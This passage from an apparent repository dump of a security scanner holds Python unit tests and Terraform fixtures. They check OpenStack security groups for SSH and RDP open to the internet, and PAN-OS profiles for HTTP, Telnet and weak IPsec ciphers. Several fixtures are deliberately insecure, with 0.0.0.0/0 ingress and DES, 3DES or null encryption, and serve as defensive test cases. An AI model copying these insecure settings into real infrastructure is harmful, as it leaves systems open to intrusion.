    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.terraform.checks.resource.openstack.SecurityGroupUnrestrictedIngress22 import check\n\n\nclass TestSecurityGroupUnrestrictedIngress22(unittest.TestCase):\n\n    def test_failure_compute_secgroup_ipv4(self):\n        hcl_res = hcl2.loads(\"\"\"\n        resource \"openstack_compute_secgroup_v2\" \"secgroup_1\" {\n          name        = \"my_secgroup\"\n          description = \"my security group\"\n\n          rule {\n            from_port   = 80\n            to_port     = 80\n            ip_protocol = \"tcp\"\n            cidr        = \"0.0.0.0/0\"\n          }\n\n          rule {\n            from_port   = 22\n            to_port     = 22\n            ip_protocol = \"tcp\"\n            cidr        = \"192.168.0.0/16\"\n          }\n\n          rule {\n            from_port   = 22\n            to_port     = 22\n            ip_protocol = \"tcp\"\n            cidr        = \"0.0.0.0/0\"\n          }\n        }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['openstack_compute_secgroup_v2']['secgroup_1']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure_compute_secgroup_port_range(self):\n        hcl_res = hcl2.loads(\"\"\"\n        resource \"openstack_compute_secgroup_v2\" \"secgroup_1\" {\n          name        = \"my_secgroup\"\n          description = \"my security group\"\n        \n          rule {\n            from_port   = 0\n            to_port     = 65535\n            ip_protocol = \"tcp\"\n            cidr        = \"0.0.0.0/0\"\n          }\n        }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['openstack_compute_secgroup_v2']['secgroup_1']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure_compute_secgroup_ipv6(self):\n        hcl_res = hcl2.loads(\"\"\"\n        resource \"openstack_compute_secgroup_v2\" \"secgroup_1\" {\n          name        = \"my_secgroup\"\n          description = \"my security group\"\n        \n          rule {\n            from_port   = 22\n            to_port     = 22\n            ip_protocol = \"tcp\"\n            cidr        = \"192.168.0.0/16\"\n          }\n          rule {\n            from_port   = 22\n            to_port     = 22\n            ip_protocol = \"tcp\"\n            cidr        = \"::/0\"\n          }\n        }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['openstack_compute_secgroup_v2']['secgroup_1']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_pass_compute_secgroup_different_port(self):\n        hcl_res = hcl2.loads(\"\"\"\n        resource \"openstack_compute_secgroup_v2\" \"secgroup_1\" {\n          name        = \"my_secgroup\"\n          description = \"my security group\"\n\n          rule {\n            from_port   = 222\n            to_port     = 222\n            ip_protocol = \"tcp\"\n            cidr        = \"192.168.0.0/16\"\n          }\n\n          rule {\n            from_port   = 222\n            to_port     = 222\n            ip_protocol = \"tcp\"\n            cidr        = \"0.0.0.0/0\"\n          }\n        }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['openstack_compute_secgroup_v2']['secgroup_1']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_pass_compute_secgroup_no_cidr(self):\n        hcl_res = hcl2.loads(\"\"\"\n        resource \"openstack_compute_secgroup_v2\" \"secgroup_1\" {\n          name        = \"my_secgroup\"\n          description = \"my security group\"\n        \n          rule {\n            from_port     = 22\n            to_port       = 22\n            ip_protocol   = \"tcp\"\n            from_group_id = \"5338c192-5118-11ec-bf63-0242ac130002\"\n          }\n        }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['openstack_compute_secgroup_v2']['secgroup_1']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_pass_compute_secgroup_null_cidr(self):\n        hcl_res = hcl2.loads(\"\"\"\n        resource \"openstack_compute_secgroup_v2\" \"secgroup_1\" {\n          name        = \"my_secgroup\"\n          description = \"my security group\"\n        \n          rule {\n            from_port   = 22\n            to_port     = 22\n            ip_protocol = \"tcp\"\n            cidr        = null\n          }\n        }\n            \"\"\")\n        resource_conf = hcl_res['resource'][0]['openstack_compute_secgroup_v2']['secgroup_1']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_pass_compute_secgroup_cidr(self):\n        hcl_res = hcl2.loads(\"\"\"\n        resource \"openstack_compute_secgroup_v2\" \"secgroup_1\" {\n          name        = \"my_secgroup\"\n          description = \"my security group\"\n        \n          rule {\n            from_port   = 22\n            to_port     = 22\n            ip_protocol = \"tcp\"\n            cidr        = \"192.168.0.0/16\"\n          }\n        }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['openstack_compute_secgroup_v2']['secgroup_1']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_pass_compute_secgroup_icmp(self):\n        hcl_res = hcl2.loads(\"\"\"\n        resource \"openstack_compute_secgroup_v2\" \"secgroup_1\" {\n          name        = \"my_secgroup\"\n          description = \"my security group\"\n        \n          rule {\n            from_port   = 22\n            to_port     = 22\n            ip_protocol = \"icmp\"\n            cidr        = \"0.0.0.0/0\"\n          }\n        }\n        \"\"\")\n\n        resource_conf = hcl_res['resource'][0]['openstack_compute_secgroup_v2']['secgroup_1']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\n    def test_failure_networking_secgroup(self):\n        hcl_res = hcl2.loads(\"\"\"\n        resource \"openstack_networking_secgroup_v2\" \"secgroup_1\" {\n          name        = \"secgroup_1\"\n          description = \"My neutron security group\"\n        }\n        \n        resource \"openstack_networking_secgroup_rule_v2\" \"ingress\" {\n          direction         = \"ingress\"\n          ethertype         = \"IPv4\"\n          protocol          = \"tcp\"\n          port_range_min    = 22\n          port_range_max    = 22\n          remote_ip_prefix  = \"0.0.0.0/0\"\n        }\n        \"\"\")\n\n        resource_conf = hcl_res['resource'][0]['openstack_networking_secgroup_v2']['secgroup_1']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n        resource_conf = hcl_res['resource'][1]['openstack_networking_secgroup_rule_v2']['ingress']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure_networking_secgroup_port_range(self):\n        hcl_res = hcl2.loads(\"\"\"\n        resource \"openstack_networking_secgroup_rule_v2\" \"ingress\" {\n          direction         = \"ingress\"\n          ethertype         = \"IPv4\"\n          protocol          = \"tcp\"\n          port_range_min    = 1\n          port_range_max    = 65535\n          remote_ip_prefix  = \"0.0.0.0/0\"\n        }\n        \"\"\")\n\n        resource_conf = hcl_res['resource'][0]['openstack_networking_secgroup_rule_v2']['ingress']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_pass_networking_secgroup(self):\n        hcl_res = hcl2.loads(\"\"\"\n        resource \"openstack_networking_secgroup_rule_v2\" \"ingress\" {\n          direction         = \"ingress\"\n          ethertype         = \"IPv4\"\n          protocol          = \"tcp\"\n          port_range_min    = 22\n          port_range_max    = 22\n          remote_ip_prefix  = \"192.168.0.0/16\"\n          security_group_id = \"${openstack_networking_secgroup_v2.secgroup_1.id}\"\n        }\n        \"\"\")\n\n        resource_conf = hcl_res['resource'][0]['openstack_networking_secgroup_rule_v2']['ingress']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_pass_networking_secgroup_icmp(self):\n        hcl_res = hcl2.loads(\"\"\"\n        resource \"openstack_networking_secgroup_rule_v2\" \"ingress\" {\n          direction         = \"ingress\"\n          ethertype         = \"IPv4\"\n          protocol          = \"icmp\"\n          port_range_min    = 22\n          port_range_max    = 22\n          remote_ip_prefix  = \"0.0.0.0/0\"\n        }\n        \"\"\")\n\n        resource_conf = hcl_res['resource'][0]['openstack_networking_secgroup_rule_v2']['ingress']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_unknown_networking_secgroup_egress(self):\n        hcl_res = hcl2.loads(\"\"\"\n        resource \"openstack_networking_secgroup_rule_v2\" \"egress\" {\n          direction         = \"egress\"\n          ethertype         = \"IPv4\"\n          protocol          = \"tcp\"\n          port_range_min    = 22\n          port_range_max    = 22\n          remote_ip_prefix  = \"0.0.0.0/0\"\n        }\n        \"\"\")\n\n        resource_conf = hcl_res['resource'][0]['openstack_networking_secgroup_rule_v2']['egress']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.UNKNOWN, scan_result)\n\n    def test_pass_networking_secgroup_source_sg(self):\n        hcl_res = hcl2.loads(\"\"\"\n        resource \"openstack_networking_secgroup_rule_v2\" \"ingress\" {\n          direction         = \"ingress\"\n          ethertype         = \"IPv4\"\n          protocol          = \"tcp\"\n          port_range_min    = 22\n          port_range_max    = 22\n          security_group_id = \"${openstack_networking_secgroup_v2.secgroup_1.id}\"\n        }\n        \"\"\")\n\n        resource_conf = hcl_res['resource'][0]['openstack_networking_secgroup_rule_v2']['ingress']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_pass_networking_secgroup_different_port(self):\n        hcl_res = hcl2.loads(\"\"\"\n        resource \"openstack_networking_secgroup_rule_v2\" \"ingress\" {\n          direction         = \"ingress\"\n          ethertype         = \"IPv4\"\n          protocol          = \"tcp\"\n          port_range_min    = 222\n          port_range_max    = 222\n          remote_ip_prefix  = \"0.0.0.0/0\"\n        }\n        \"\"\")\n\n        resource_conf = hcl_res['resource'][0]['openstack_networking_secgroup_rule_v2']['ingress']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/openstack/test_SecurityGroupUnrestrictedIngress3389.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.terraform.checks.resource.openstack.SecurityGroupUnrestrictedIngress3389 import check\n\n\nclass TestSecurityGroupUnrestrictedIngress3389(unittest.TestCase):\n\n    def test_failure_compute_secgroup_ipv4(self):\n        hcl_res = hcl2.loads(\"\"\"\n        resource \"openstack_compute_secgroup_v2\" \"secgroup_1\" {\n          name        = \"my_secgroup\"\n          description = \"my security group\"\n\n          rule {\n            from_port   = 80\n            to_port     = 80\n            ip_protocol = \"tcp\"\n            cidr        = \"0.0.0.0/0\"\n          }\n\n          rule {\n            from_port   = 3389\n            to_port     = 3389\n            ip_protocol = \"tcp\"\n            cidr        = \"192.168.0.0/16\"\n          }\n\n          rule {\n            from_port   = 3389\n            to_port     = 3389\n            ip_protocol = \"tcp\"\n            cidr        = \"0.0.0.0/0\"\n          }\n        }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['openstack_compute_secgroup_v2']['secgroup_1']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure_compute_secgroup_port_range(self):\n        hcl_res = hcl2.loads(\"\"\"\n        resource \"openstack_compute_secgroup_v2\" \"secgroup_1\" {\n          name        = \"my_secgroup\"\n          description = \"my security group\"\n        \n          rule {\n            from_port   = 0\n            to_port     = 65535\n            ip_protocol = \"tcp\"\n            cidr        = \"0.0.0.0/0\"\n          }\n        }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['openstack_compute_secgroup_v2']['secgroup_1']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure_compute_secgroup_ipv6(self):\n        hcl_res = hcl2.loads(\"\"\"\n        resource \"openstack_compute_secgroup_v2\" \"secgroup_1\" {\n          name        = \"my_secgroup\"\n          description = \"my security group\"\n        \n          rule {\n            from_port   = 3389\n            to_port     = 3389\n            ip_protocol = \"tcp\"\n            cidr        = \"192.168.0.0/16\"\n          }\n          rule {\n            from_port   = 3389\n            to_port     = 3389\n            ip_protocol = \"tcp\"\n            cidr        = \"::/0\"\n          }\n        }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['openstack_compute_secgroup_v2']['secgroup_1']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_pass_compute_secgroup_different_port(self):\n        hcl_res = hcl2.loads(\"\"\"\n        resource \"openstack_compute_secgroup_v2\" \"secgroup_1\" {\n          name        = \"my_secgroup\"\n          description = \"my security group\"\n\n          rule {\n            from_port   = 33890\n            to_port     = 33890\n            ip_protocol = \"tcp\"\n            cidr        = \"192.168.0.0/16\"\n          }\n\n          rule {\n            from_port   = 33890\n            to_port     = 33890\n            ip_protocol = \"tcp\"\n            cidr        = \"0.0.0.0/0\"\n          }\n        }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['openstack_compute_secgroup_v2']['secgroup_1']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_pass_compute_secgroup_no_cidr(self):\n        hcl_res = hcl2.loads(\"\"\"\n        resource \"openstack_compute_secgroup_v2\" \"secgroup_1\" {\n          name        = \"my_secgroup\"\n          description = \"my security group\"\n        \n          rule {\n            from_port     = 3389\n            to_port       = 3389\n            ip_protocol   = \"tcp\"\n            from_group_id = \"5338c192-5118-11ec-bf63-0242ac130002\"\n          }\n        }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['openstack_compute_secgroup_v2']['secgroup_1']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_pass_compute_secgroup_null_cidr(self):\n        hcl_res = hcl2.loads(\"\"\"\n        resource \"openstack_compute_secgroup_v2\" \"secgroup_1\" {\n          name        = \"my_secgroup\"\n          description = \"my security group\"\n        \n          rule {\n            from_port   = 3389\n            to_port     = 3389\n            ip_protocol = \"tcp\"\n            cidr        = null\n          }\n        }\n            \"\"\")\n        resource_conf = hcl_res['resource'][0]['openstack_compute_secgroup_v2']['secgroup_1']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_pass_compute_secgroup_cidr(self):\n        hcl_res = hcl2.loads(\"\"\"\n        resource \"openstack_compute_secgroup_v2\" \"secgroup_1\" {\n          name        = \"my_secgroup\"\n          description = \"my security group\"\n        \n          rule {\n            from_port   = 3389\n            to_port     = 3389\n            ip_protocol = \"tcp\"\n            cidr        = \"192.168.0.0/16\"\n          }\n        }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['openstack_compute_secgroup_v2']['secgroup_1']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_pass_compute_secgroup_icmp(self):\n        hcl_res = hcl2.loads(\"\"\"\n        resource \"openstack_compute_secgroup_v2\" \"secgroup_1\" {\n          name        = \"my_secgroup\"\n          description = \"my security group\"\n        \n          rule {\n            from_port   = 3389\n            to_port     = 3389\n            ip_protocol = \"icmp\"\n            cidr        = \"0.0.0.0/0\"\n          }\n        }\n        \"\"\")\n\n        resource_conf = hcl_res['resource'][0]['openstack_compute_secgroup_v2']['secgroup_1']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\n    def test_failure_networking_secgroup(self):\n        hcl_res = hcl2.loads(\"\"\"\n        resource \"openstack_networking_secgroup_v2\" \"secgroup_1\" {\n          name        = \"secgroup_1\"\n          description = \"My neutron security group\"\n        }\n        \n        resource \"openstack_networking_secgroup_rule_v2\" \"ingress\" {\n          direction         = \"ingress\"\n          ethertype         = \"IPv4\"\n          protocol          = \"tcp\"\n          port_range_min    = 3389\n          port_range_max    = 3389\n          remote_ip_prefix  = \"0.0.0.0/0\"\n        }\n        \"\"\")\n\n        resource_conf = hcl_res['resource'][0]['openstack_networking_secgroup_v2']['secgroup_1']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n        resource_conf = hcl_res['resource'][1]['openstack_networking_secgroup_rule_v2']['ingress']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure_networking_secgroup_port_range(self):\n        hcl_res = hcl2.loads(\"\"\"\n        resource \"openstack_networking_secgroup_rule_v2\" \"ingress\" {\n          direction         = \"ingress\"\n          ethertype         = \"IPv4\"\n          protocol          = \"tcp\"\n          port_range_min    = 1\n          port_range_max    = 65535\n          remote_ip_prefix  = \"0.0.0.0/0\"\n        }\n        \"\"\")\n\n        resource_conf = hcl_res['resource'][0]['openstack_networking_secgroup_rule_v2']['ingress']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_pass_networking_secgroup(self):\n        hcl_res = hcl2.loads(\"\"\"\n        resource \"openstack_networking_secgroup_rule_v2\" \"ingress\" {\n          direction         = \"ingress\"\n          ethertype         = \"IPv4\"\n          protocol          = \"tcp\"\n          port_range_min    = 3389\n          port_range_max    = 3389\n          remote_ip_prefix  = \"192.168.0.0/16\"\n          security_group_id = \"${openstack_networking_secgroup_v2.secgroup_1.id}\"\n        }\n        \"\"\")\n\n        resource_conf = hcl_res['resource'][0]['openstack_networking_secgroup_rule_v2']['ingress']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_pass_networking_secgroup_icmp(self):\n        hcl_res = hcl2.loads(\"\"\"\n        resource \"openstack_networking_secgroup_rule_v2\" \"ingress\" {\n          direction         = \"ingress\"\n          ethertype         = \"IPv4\"\n          protocol          = \"icmp\"\n          port_range_min    = 3389\n          port_range_max    = 3389\n          remote_ip_prefix  = \"0.0.0.0/0\"\n        }\n        \"\"\")\n\n        resource_conf = hcl_res['resource'][0]['openstack_networking_secgroup_rule_v2']['ingress']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_unknown_networking_secgroup_egress(self):\n        hcl_res = hcl2.loads(\"\"\"\n        resource \"openstack_networking_secgroup_rule_v2\" \"egress\" {\n          direction         = \"egress\"\n          ethertype         = \"IPv4\"\n          protocol          = \"tcp\"\n          port_range_min    = 3389\n          port_range_max    = 3389\n          remote_ip_prefix  = \"0.0.0.0/0\"\n        }\n        \"\"\")\n\n        resource_conf = hcl_res['resource'][0]['openstack_networking_secgroup_rule_v2']['egress']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.UNKNOWN, scan_result)\n\n    def test_pass_networking_secgroup_source_sg(self):\n        hcl_res = hcl2.loads(\"\"\"\n        resource \"openstack_networking_secgroup_rule_v2\" \"ingress\" {\n          direction         = \"ingress\"\n          ethertype         = \"IPv4\"\n          protocol          = \"tcp\"\n          port_range_min    = 3389\n          port_range_max    = 3389\n          security_group_id = \"${openstack_networking_secgroup_v2.secgroup_1.id}\"\n        }\n        \"\"\")\n\n        resource_conf = hcl_res['resource'][0]['openstack_networking_secgroup_rule_v2']['ingress']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_pass_networking_secgroup_different_port(self):\n        hcl_res = hcl2.loads(\"\"\"\n        resource \"openstack_networking_secgroup_rule_v2\" \"ingress\" {\n          direction         = \"ingress\"\n          ethertype         = \"IPv4\"\n          protocol          = \"tcp\"\n          port_range_min    = 33890\n          port_range_max    = 33890\n          remote_ip_prefix  = \"0.0.0.0/0\"\n        }\n        \"\"\")\n\n        resource_conf = hcl_res['resource'][0]['openstack_networking_secgroup_rule_v2']['ingress']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/panos/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/checks/resource/panos/example_InterfaceMgmtProfileNoHTTP/main.tf",
    "content": "# Setting the http attribute to true turns on HTTP for management, and is therefore a fail, we only want to see HTTPS in use\nresource \"panos_management_profile\" \"fail\" {\n    name = \"my-mgmt-profile\"\n    http = true\n}\n\n# Setting the http attribute to false leaves HTTP disabled for management, and is therefore a pass\nresource \"panos_management_profile\" \"pass1\" {\n    name = \"my-mgmt-profile\"\n    http = false\n}\n\n# Not explicitly setting the http attribute when creating a mgmt profile leads to the default setting of false, which leaves HTTP disabled for management, and is therefore a pass\nresource \"panos_management_profile\" \"pass2\" {\n    name = \"my-mgmt-profile\"\n}"
  },
  {
    "path": "tests/terraform/checks/resource/panos/example_InterfaceMgmtProfileNoTelnet/main.tf",
    "content": "# Setting the telnet attribute to true turns on Telnet for management, and is therefore a fail, we only want to see SSH in use\nresource \"panos_management_profile\" \"fail\" {\n    name = \"my-mgmt-profile\"\n    telnet = true\n}\n\n# Setting the telnet attribute to false leaves Telnet disabled for management, and is therefore a pass\nresource \"panos_management_profile\" \"pass1\" {\n    name = \"my-mgmt-profile\"\n    telnet = false\n}\n\n# Not explicitly setting the telnet attribute when creating a mgmt profile leads to the default setting of false, which leaves Telnet disabled for management, and is therefore a pass\nresource \"panos_management_profile\" \"pass2\" {\n    telnet = \"my-mgmt-profile\"\n}"
  },
  {
    "path": "tests/terraform/checks/resource/panos/example_NetworkIPsecAlgorithms/main.tf",
    "content": "# The \"encryptions\" attribute can be used in either the panos_ipsec_crypto_profile or the panos_panorama_ipsec_crypto_profile resource.\n# Both resource types are covered by this check.\n\n# Fails\n\n# Fails for each insecure algorithm on their own\nresource \"panos_ipsec_crypto_profile\" \"fail1\" {\n    name = \"fail1\"\n    authentications = [\"sha384\"]\n    encryptions = [\"des\"]\n    dh_group = \"group14\"\n    lifetime_type = \"hours\"\n    lifetime_value = 4\n    lifesize_type = \"mb\"\n    lifesize_value = 1\n}\n\nresource \"panos_ipsec_crypto_profile\" \"fail2\" {\n    name = \"fail2\"\n    authentications = [\"sha384\"]\n    encryptions = [\"3des\"]\n    dh_group = \"group14\"\n    lifetime_type = \"hours\"\n    lifetime_value = 4\n    lifesize_type = \"mb\"\n    lifesize_value = 1\n}\n\nresource \"panos_ipsec_crypto_profile\" \"fail3\" {\n    name = \"fail3\"\n    authentications = [\"sha384\"]\n    encryptions = [\"aes-128-cbc\"]\n    dh_group = \"group14\"\n    lifetime_type = \"hours\"\n    lifetime_value = 4\n    lifesize_type = \"mb\"\n    lifesize_value = 1\n}\n\nresource \"panos_ipsec_crypto_profile\" \"fail4\" {\n    name = \"fail4\"\n    authentications = [\"sha384\"]\n    encryptions = [\"aes-192-cbc\"]\n    dh_group = \"group14\"\n    lifetime_type = \"hours\"\n    lifetime_value = 4\n    lifesize_type = \"mb\"\n    lifesize_value = 1\n}\n\nresource \"panos_ipsec_crypto_profile\" \"fail5\" {\n    name = \"fail5\"\n    authentications = [\"sha384\"]\n    encryptions = [\"aes-256-cbc\"]\n    dh_group = \"group14\"\n    lifetime_type = \"hours\"\n    lifetime_value = 4\n    lifesize_type = \"mb\"\n    lifesize_value = 1\n}\n\nresource \"panos_ipsec_crypto_profile\" \"fail6\" {\n    name = \"fail6\"\n    authentications = [\"sha384\"]\n    encryptions = [\"null\"]\n    dh_group = \"group14\"\n    lifetime_type = \"hours\"\n    lifetime_value = 4\n    lifesize_type = \"mb\"\n    lifesize_value = 1\n}\n\nresource \"panos_panorama_ipsec_crypto_profile\" \"fail7\" {\n    name = \"fail7\"\n    template = \"template-name\"\n    authentications = [\"sha384\"]\n    encryptions = [\"des\"]\n    dh_group = \"group14\"\n    lifetime_type = \"hours\"\n    lifetime_value = 4\n    lifesize_type = \"mb\"\n    lifesize_value = 1\n}\n\nresource \"panos_panorama_ipsec_crypto_profile\" \"fail8\" {\n    name = \"fail8\"\n    template = \"template-name\"\n    authentications = [\"sha384\"]\n    encryptions = [\"3des\"]\n    dh_group = \"group14\"\n    lifetime_type = \"hours\"\n    lifetime_value = 4\n    lifesize_type = \"mb\"\n    lifesize_value = 1\n}\n\nresource \"panos_panorama_ipsec_crypto_profile\" \"fail9\" {\n    name = \"fail9\"\n    template = \"template-name\"\n    authentications = [\"sha384\"]\n    encryptions = [\"aes-128-cbc\"]\n    dh_group = \"group14\"\n    lifetime_type = \"hours\"\n    lifetime_value = 4\n    lifesize_type = \"mb\"\n    lifesize_value = 1\n}\n\nresource \"panos_panorama_ipsec_crypto_profile\" \"fail10\" {\n    name = \"fail10\"\n    template = \"template-name\"\n    authentications = [\"sha384\"]\n    encryptions = [\"aes-192-cbc\"]\n    dh_group = \"group14\"\n    lifetime_type = \"hours\"\n    lifetime_value = 4\n    lifesize_type = \"mb\"\n    lifesize_value = 1\n}\n\nresource \"panos_panorama_ipsec_crypto_profile\" \"fail11\" {\n    name = \"fail11\"\n    template = \"template-name\"\n    authentications = [\"sha384\"]\n    encryptions = [\"aes-256-cbc\"]\n    dh_group = \"group14\"\n    lifetime_type = \"hours\"\n    lifetime_value = 4\n    lifesize_type = \"mb\"\n    lifesize_value = 1\n}\n\nresource \"panos_panorama_ipsec_crypto_profile\" \"fail12\" {\n    name = \"fail12\"\n    template = \"template-name\"\n    authentications = [\"sha384\"]\n    encryptions = [\"null\"]\n    dh_group = \"group14\"\n    lifetime_type = \"hours\"\n    lifetime_value = 4\n    lifesize_type = \"mb\"\n    lifesize_value = 1\n}\n\n# Fails with one secure and one insecure\n\nresource \"panos_ipsec_crypto_profile\" \"fail13\" {\n    name = \"fail13\"\n    authentications = [\"sha384\"]\n    encryptions = [\"3des\", \"aes-256-gcm\"]\n    dh_group = \"group14\"\n    lifetime_type = \"hours\"\n    lifetime_value = 4\n    lifesize_type = \"mb\"\n    lifesize_value = 1\n}\n\nresource \"panos_ipsec_crypto_profile\" \"fail14\" {\n    name = \"fail14\"\n    authentications = [\"sha384\"]\n    encryptions = [\"aes-256-gcm\", \"3des\"]\n    dh_group = \"group14\"\n    lifetime_type = \"hours\"\n    lifetime_value = 4\n    lifesize_type = \"mb\"\n    lifesize_value = 1\n}\n\nresource \"panos_panorama_ipsec_crypto_profile\" \"fail15\" {\n    name = \"fail15\"\n    template = \"template-name\"\n    authentications = [\"sha384\"]\n    encryptions = [\"3des\", \"aes-256-gcm\"]\n    dh_group = \"group14\"\n    lifetime_type = \"hours\"\n    lifetime_value = 4\n    lifesize_type = \"mb\"\n    lifesize_value = 1\n}\n\nresource \"panos_panorama_ipsec_crypto_profile\" \"fail16\" {\n    name = \"fail16\"\n    template = \"template-name\"\n    authentications = [\"sha384\"]\n    encryptions = [\"aes-256-gcm\", \"3des\"]\n    dh_group = \"group14\"\n    lifetime_type = \"hours\"\n    lifetime_value = 4\n    lifesize_type = \"mb\"\n    lifesize_value = 1\n}\n\n\n\n# Passes with single algorithms\n\nresource \"panos_ipsec_crypto_profile\" \"pass1\" {\n    name = \"pass1\"\n    authentications = [\"sha384\"]\n    encryptions = [\"aes-128-gcm\"]\n    dh_group = \"group14\"\n    lifetime_type = \"hours\"\n    lifetime_value = 4\n    lifesize_type = \"mb\"\n    lifesize_value = 1\n}\n\nresource \"panos_panorama_ipsec_crypto_profile\" \"pass2\" {\n    name = \"pass2\"\n    template = \"template-name\"\n    authentications = [\"sha384\"]\n    encryptions = [\"aes-128-gcm\"]\n    dh_group = \"group14\"\n    lifetime_type = \"hours\"\n    lifetime_value = 4\n    lifesize_type = \"mb\"\n    lifesize_value = 1\n}\n\nresource \"panos_ipsec_crypto_profile\" \"pass3\" {\n    name = \"pass3\"\n    authentications = [\"sha384\"]\n    encryptions = [\"aes-256-gcm\"]\n    dh_group = \"group14\"\n    lifetime_type = \"hours\"\n    lifetime_value = 4\n    lifesize_type = \"mb\"\n    lifesize_value = 1\n}\n\nresource \"panos_panorama_ipsec_crypto_profile\" \"pass4\" {\n    name = \"pass4\"\n    template = \"template-name\"\n    authentications = [\"sha384\"]\n    encryptions = [\"aes-256-gcm\"]\n    dh_group = \"group14\"\n    lifetime_type = \"hours\"\n    lifetime_value = 4\n    lifesize_type = \"mb\"\n    lifesize_value = 1\n}\n\n# Passes with multiple algorithms\n\nresource \"panos_ipsec_crypto_profile\" \"pass5\" {\n    name = \"pass5\"\n    authentications = [\"sha384\"]\n    encryptions = [\"aes-128-gcm\", \"aes-256-gcm\"]\n    dh_group = \"group14\"\n    lifetime_type = \"hours\"\n    lifetime_value = 4\n    lifesize_type = \"mb\"\n    lifesize_value = 1\n}\n\nresource \"panos_panorama_ipsec_crypto_profile\" \"pass6\" {\n    name = \"pass6\"\n    template = \"template-name\"\n    authentications = [\"sha384\"]\n    encryptions = [\"aes-128-gcm\", \"aes-256-gcm\"]\n    dh_group = \"group14\"\n    lifetime_type = \"hours\"\n    lifetime_value = 4\n    lifesize_type = \"mb\"\n    lifesize_value = 1\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/panos/example_NetworkIPsecAuthAlgorithms/main.tf",
